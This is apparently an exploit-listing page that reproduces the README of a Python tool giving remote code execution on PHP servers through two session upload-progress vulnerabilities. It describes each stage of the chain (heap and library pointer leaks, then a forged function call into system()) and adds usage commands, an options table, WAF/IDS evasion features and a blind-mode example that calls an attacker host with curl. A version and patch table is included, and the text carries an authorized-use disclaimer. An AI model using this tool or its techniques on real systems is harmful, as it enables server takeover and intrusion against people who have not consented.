Skip to content
Exploit for Improperly Controlled Sequential Memory Allocation in Php

Exploit for Improperly Controlled Sequential Memory Allocation in Php

Sploitus โ€ข October 26, 2026

- ๐Ÿ‡ฎ๐Ÿ‡น [hackita.it/articoli/php2shell-cve-2026-109618-109619](

- ๐Ÿ‡ฌ๐Ÿ‡ง [en.hackita.it/articoli/php2shell-cve-2026-109618-109619](

- ๐Ÿ‡ช๐Ÿ‡ธ [es.hackita.it/articoli/php2shell-cve-2026-109618-109619](

- ๐Ÿ‡ซ๐Ÿ‡ท [fr.hackita.it/articoli/php2shell-cve-2026-109618-109619](

- ๐Ÿ‡ฉ๐Ÿ‡ช [de.hackita.it/articoli/php2shell-cve-2026-109618-109619](

- ๐Ÿ‡ต๐Ÿ‡น [pt.hackita.it/articoli/php2shell-cve-2026-109618-109619](

- [Improvements over the public PoC](#improvements-over-the-public-poc)

- [Affected PHP versions](#affected-php-versions)

- [Common one-liners](#common-one-liners)

A single-file Python 3 exploit (`poc_109618.py`) that chains the four stages

1. **Stage 0 โ€” Worker rotation.** A deliberately malformed multipart request

retires the current Apache prefork worker so the request lands on a

2. **Stage 1 โ€” Heap-base leak.** An oversized multipart form field triggers

an out-of-memory condition inside PHP's upload handler. Uninitialized

bytes bleed into response headers (notably `Set-Cookie: PHPSESSID`), from

which the exploit scans for userland pointers and derives the Zend MM

3. **Stage 2 โ€” libphp leak.** A second request forces session serialization

that leaves a page-aligned `zval_ptr_dtor` pointer in the response. From

it the exploit computes `libphp.so`'s base and `zend_call_function`'s

4. **Stage 3 โ€” RCE.** A crafted multipart request abuses the stale

`php_session_rfc1867_callback` (`ext/session/session.c`). After the

decoded progress tree is destructed, 149 packed `t[]` parts reclaim the

freed 320-byte zend_string bin with a forged `zend_fcall_info`.

`zend_call_function()` then invokes `system()` with the attacker's

For a line-by-line walkthrough of the vulnerability see

[`docs/vulnerability.md`](docs/vulnerability.md).

([eness/php2shell-CVE-2026-109618-CVE-2026-109619-PoC](

demonstrates stage 3 and expects a pre-leaked `zval_ptr_dtor` address passed

| Area | Improvement |

| ---------------------- | ---------------------------------------------------------------------------------------------------------------------------- |

| Automation | Stages 0โ€“2 run automatically โ€” no manual leak step required on known profiles. |

| Profile fallback | `--profile auto` fingerprints via `Server` / `X-Powered-By`, then falls back across every known offset profile until RCE. |

| Pointer scanner | `Set-Cookie`, `Location`, response body and PHP error `0x...` strings are all searched (upstream looks only at `PHPSESSID`). |

| Heap-base candidates | 2 MB / 4 MB / 1 MB Zend MM chunk sizes are all tested; the most-voted one wins. |

| Memory footprint | The 2โ€“128 MB OOM blob is streamed on the wire by a generator; it never lives resident in Python. |

| WAF / IDS evasion | Boundary, `PHPSESSID`, `User-Agent`, `Accept-Language` and header order are randomized per attempt. |

| Response parsing | `Transfer-Encoding: chunked` responses are decoded before the scan to avoid false negatives. |

| Scheme autodetect | A scheme-less URL (`host/path.php`) probes HTTPS then HTTP. |

| Proxy support | `--proxy host:port` tunnels through Burp / mitmproxy over HTTP CONNECT. |

| Blind mode | `--blind` injects `sleep N;` and confirms RCE via timing delta when the shell has no visible output. |

| Robustness | Per-stage retry with adaptive stall backoff, response-size caps, graceful socket teardown. |

| Branch | Status | Fixed in |

| --------- | ------------------------- | ------------------------------------------------------------------------------------------------ |

| PHP 8.5 | Supported | **8.5.12** |

| PHP 8.4 | Supported | **8.4.27** |

| PHP 8.3 | Supported | **8.3.36** |

| PHP 8.2 | Security-only | **8.2.35** |

| PHP โ‰ค 8.1 | End-of-Life | No official patch. Disable `session.upload_progress.enabled` or apply a community backport. |

Pure Python 3 standard library, no dependencies to `pip install`:

git clone

# Full auto-leak + RCE against an authorized lab target

python3 poc_109618.py -c 'id>/tmp/p'

# With a pre-leaked dtor address (skips stages 1-2)

python3 poc_109618.py \

# Route everything through Burp, ignore self-signed certs

python3 poc_109618.py \

--proxy 127.0.0.1:8080 --insecure --dtor 0x7f...

# Blind confirmation when the shell has no output

python3 poc_109618.py --blind -c 'curl attacker/cb'

# Dump the stage-3 payload without hitting the network

python3 poc_109618.py --dry

| Option | Purpose |

| -------------------------- | -------------------------------------------------------------------------------------------------- |

| `-c, --command` | Shell command to execute via `system()`; prefix with `@` to read it from a file. |

| `--marker` | Unique string to grep for in the response to confirm RCE. |

| `--profile` | `auto` (default) fingerprints and falls back; or pick one by name. |

| `--dtor` | Pre-leaked `zval_ptr_dtor` address (skips stages 1-2). |

| `--call` | Pre-computed `zend_call_function` address (skips the delta math). |

| `--huge-mb` | Size of the OOM payload (2โ€“128 MB, clamped). |

| `--stall` | Seconds between phase 1 and tail (must exceed `session.upload_progress.min_freq`, default `1s`). |

| `--retries` | Attempts per stage. |

| `--backoff` | Extra seconds added to `--stall` after each stage-3 miss. |

| `--proxy` | Upstream HTTP CONNECT proxy, e.g. `127.0.0.1:8080`. |

| `--insecure` | Skip TLS cert validation. |

| `--blind` / `--blind-delay`| Timing side-channel confirmation. |

| `--no-pre-rotate` | Skip stage-0 worker rotation. |

| `--no-auto-leak` | Do not run stages 1-2 even if `--dtor` is missing. |

| `--no-shuffle` | Disable header-order randomization. |

| `--dry` | Dump the stage-3 payload to `body-109618.bin` and exit. |

The forged `zend_fcall_info` sits inside a reclaimed 320-byte string

(167-byte usable region after the `zend_string` header). The command is

copied directly into that carrier, so inline commands are capped at

**14 bytes**. For longer commands, pre-stage them in a scratch file

(for example via a tmp file upload) and launch with a short trigger such

- PHP source: `ext/session/session.c` โ€” `php_session_rfc1867_callback`

- **Core research and reference stage-3 exploit:**

[`php2shell-CVE-2026-109618-CVE-2026-109619-PoC`](

- **Hardening, auto-leak scanner, multi-profile fallback, streaming OOM,

blind confirmation, chunked parser, docs:**

[Hackita.it]( research.

This repository is published for educational purposes and authorized

security research only. Running the exploit against systems you do not

own, or do not have explicit written permission to test, is illegal in

most jurisdictions. The authors accept no liability for misuse.